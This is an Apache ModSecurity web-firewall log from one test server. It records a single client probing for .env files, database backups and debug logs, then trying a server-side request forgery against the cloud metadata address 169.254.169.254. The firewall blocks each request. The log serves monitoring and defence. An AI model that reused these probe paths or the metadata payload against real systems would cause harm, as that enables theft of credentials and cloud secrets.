[Sun Jun 29 20:20:29.457167 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pAAAAAY&quot;]
[Sun Jun 29 20:20:29.457414 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pAAAAAY&quot;]
[Sun Jun 29 20:20:29.457595 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pAAAAAY&quot;]
[Sun Jun 29 20:20:29.520316 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pwAAAAY&quot;]
[Sun Jun 29 20:20:29.520576 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pwAAAAY&quot;]
[Sun Jun 29 20:20:29.521434 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6pwAAAAY&quot;]
[Sun Jun 29 20:20:29.562389 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qQAAAAY&quot;]
[Sun Jun 29 20:20:29.562721 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qQAAAAY&quot;]
[Sun Jun 29 20:20:29.562888 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qQAAAAY&quot;]
[Sun Jun 29 20:20:29.628895 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qwAAAAY&quot;]
[Sun Jun 29 20:20:29.629232 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qwAAAAY&quot;]
[Sun Jun 29 20:20:29.629419 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6qwAAAAY&quot;]
[Sun Jun 29 20:20:29.666239 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6rAAAAAY&quot;]
[Sun Jun 29 20:20:29.666605 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6rAAAAAY&quot;]
[Sun Jun 29 20:20:29.666804 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aGGD7XN4YZunzJSJCzJ6rAAAAAY&quot;]
[Sun Jun 29 20:20:34.558874 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6rwAAAAY&quot;]
[Sun Jun 29 20:20:34.559232 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6rwAAAAY&quot;]
[Sun Jun 29 20:20:34.559895 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6rwAAAAY&quot;]
[Sun Jun 29 20:20:34.580055 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sAAAAAY&quot;]
[Sun Jun 29 20:20:34.580294 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sAAAAAY&quot;]
[Sun Jun 29 20:20:34.580471 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sAAAAAY&quot;]
[Sun Jun 29 20:20:34.621585 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sgAAAAY&quot;]
[Sun Jun 29 20:20:34.621944 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sgAAAAY&quot;]
[Sun Jun 29 20:20:34.622131 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6sgAAAAY&quot;]
[Sun Jun 29 20:20:34.663647 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6tAAAAAY&quot;]
[Sun Jun 29 20:20:34.663980 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6tAAAAAY&quot;]
[Sun Jun 29 20:20:34.664151 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6tAAAAAY&quot;]
[Sun Jun 29 20:20:34.746064 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6twAAAAY&quot;]
[Sun Jun 29 20:20:34.746555 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6twAAAAY&quot;]
[Sun Jun 29 20:20:34.746749 2025] [:error] [pid 3059540] [client 185.177.72.107:29322] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug&quot;] [unique_id &quot;aGGD8nN4YZunzJSJCzJ6twAAAAY&quot;]
